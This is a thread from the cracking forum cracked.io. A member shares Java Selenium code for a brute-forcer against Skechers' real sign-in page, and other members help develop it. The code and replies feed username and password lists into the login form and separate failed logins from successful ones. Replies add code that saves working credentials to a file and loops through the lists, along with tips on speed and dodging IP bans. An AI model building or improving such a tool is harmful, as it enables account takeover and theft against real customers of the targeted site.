Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!

cracked.io | Best Forum Around | Free Premium Accounts




 7303

[ASK] How To Print Current .txt Line?

by Stranger9000 - 18 May, 2020 - 03:21 AM
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
4 Years of service
#1
I'm creating my very first bruteforcer on a fairly easy target like Skechers, for now.  I'm thinking up a few methods but in order to maintain my code as readable; I want to know if there's a way to grab the scanned line (of .txt file) and print the part that the sendKeys are currently taking.
Code:
package testPackage;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.PrintStream;
import java.util.Scanner;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.testng.annotations.Test;

public class testClass {
    private static final boolean Login = false;

    @Test(retryAnalyzer = testRetry.class)
    
    public static void main(String[] args) throws FileNotFoundException, InterruptedException {
        System.setProperty("webdriver.gecko.driver", "C:\\geckodriver.exe");
        WebDriver driver = new FirefoxDriver();
        //PrintStream fileStream = new PrintStream("C:\\Users\\^\\Documents\\Lists\\Skechers\\Compd.txt");
        //System.setOut(fileStream);
        
        driver.get("https://www.skechers.com/en-us/secure/signin");
        File uList = new File("C:\\Users\\^\\Documents\\Lists\\Usr.txt");
        File pList = new File("C:\\Users\\^\\Documents\\Lists\\Pwd.txt");
        Scanner uScan = new Scanner(uList);
        Scanner pScan = new Scanner(pList);
        
        WebElement email = driver.findElement(By.name("email"));
        WebElement pass = driver.findElement(By.name("password"));
        email.sendKeys(uScan.nextLine()); Thread.sleep(1000);
        pass.sendKeys(pScan.nextLine() + Keys.ENTER); Thread.sleep(500);
        
        if(Login) {
            driver.findElement(By.xpath("//*[contains(text(), 'Either your email or password were incorrect.')]"));
            //driver.manage().deleteAllCookies(); Thread.sleep(1000);
            driver.close();
        }
        
        else {
            driver.findElement(By.xpath("//*[contains(text(), 'My Account')]"));
            //System.out.println();
            //driver.manage().deleteAllCookies(); Thread.sleep(1000);
            driver.close();
        }
    }

}

As you can see, I've commented out some of the code because I don't want to constantly delete new text files while working on other parts of the code.  I want it to function like this:

If (user/pass) incorrect > close browser
else (user/pass) correct > (print to file) user:pass > close browser
restart

Thanks in advance, and if you don't mind working together in the future let me know!
This post is by a banned member (darkforce123321) - Unhide
22
Posts
0
Threads
4 Years of service
#2
(This post was last modified: 18 May, 2020 - 10:39 PM by darkforce123321.)
Simply keep it somewhere in a string.
Just wrote some pseudo code but I think it should be clear.
Use a PrintWriter to write to the textfile.

I would load all data from the files to process later as I did in another snippet.
https://cracked.to/Thread-HELP-Eclipse-S...pid8086285
If this shoud be a brute forcer, not a checker you have to put the passes into another loop but that should be also clear.

I don't get your logic to differentiate the 2 cases.
Don't use this as static via the main.
Better use class methods and fields in this case.
Code:
PrintWriter p = new PrintWriter(new File("asd.txt"));
//... loop
String s = uScan.nextLine();
email.sendKeys(s);

if(...) {
p.println(s);
p.flush();
}
This post is by a banned member (Segu) - Unhide
Segu  
Registered
169
Posts
11
Threads
5 Years of service
#3
HTTP requests might be a better solution for your task. Selenium will be slow as fuck.
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
4 Years of service
#4
(19 May, 2020 - 06:27 PM)Segu Wrote: Show More
HTTP requests might be a better solution for your task. Selenium will be slow as fuck.

I would but some servers do IP bans. I just know for a fact that when I restart the browser altogether I can run a brute forcer much faster than if I created a timer on an open tab. Thoughts?
This post is by a banned member (Stranger9000) - Unhide
78
Posts
8
Threads
4 Years of service
#5
(18 May, 2020 - 10:27 PM)darkforce123321 Wrote: Show More
Simply keep it somewhere in a string.
Just wrote some pseudo code but I think it should be clear.
Use a PrintWriter to write to the textfile.

I would load all data from the files to process later as I did in another snippet.
https://cracked.to/Thread-HELP-Eclipse-S...pid8086285
If this shoud be a brute forcer, not a checker you have to put the passes into another loop but that should be also clear.

I don't get your logic to differentiate the 2 cases.
Don't use this as static via the main.
Better use class methods and fields in this case.
Code:
PrintWriter p = new PrintWriter(new File("asd.txt"));
//... loop
String s = uScan.nextLine();
email.sendKeys(s);

if(...) {
p.println(s);
p.flush();
}

You are a god of Java Darkforce  >> I created ' String u = uScan.nextLine(); ' but instead of learning how to use PrintWriter properly I just maintained PrintStream as my go-to, sentKeys as 'u', and System.out as (u+":"+p) and the code behaved like I wanted it to (as far as I can tell).  my next move would be to ' driver.close() ' and somehow find a way to rerun the code without rerunning the scanner - but i think that has something to do with the ' classes ' setup.

Anyway I can pay you?
This post is by a banned member (darkforce123321) - Unhide
22
Posts
0
Threads
4 Years of service
#6
(This post was last modified: 24 May, 2020 - 02:30 AM by darkforce123321.)
Yes, of course you can do via sending the console output to a textfile (PrintStream) but normally you do not want to have all console output in your file.
But yes, it does the job.

Hmm I don't exactly get what you mean but you need to go through the users and passes list.
If you want to close and relaunch the driver each time you must close it via
driver.close(); and reopen another session by ... =new FirefoxDriver(); for every try.
I would suggest to iterate the users in a loop and inside iterate the passes to each user.
You could do something like that:
Code:
//Launch driver...

String u = uScan.nextLine();
while(u != null) {
 String p = pScan.nextLine();
 while(p != null){
  //Sending to web elements here....
  p = pScan.nextLine(); 
 }
u = uScan.nextLine();
}

//Close driver 


If you really want to open and close the driver each time you need to instanciate it, drive it to the page and close it inside the loop.
But this should not be necessary. Instanciating once in the beginning and closing when done should be the goal.

I would not read the files "on the fly" but store them to some list (as I did in the other snippet) but it also works.
You can PM me if you need more detailled help.
This post is by a banned member (rynag7) - Unhide
rynag7  
Registered
39
Posts
0
Threads
3 Years of service
#7
i love the content

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)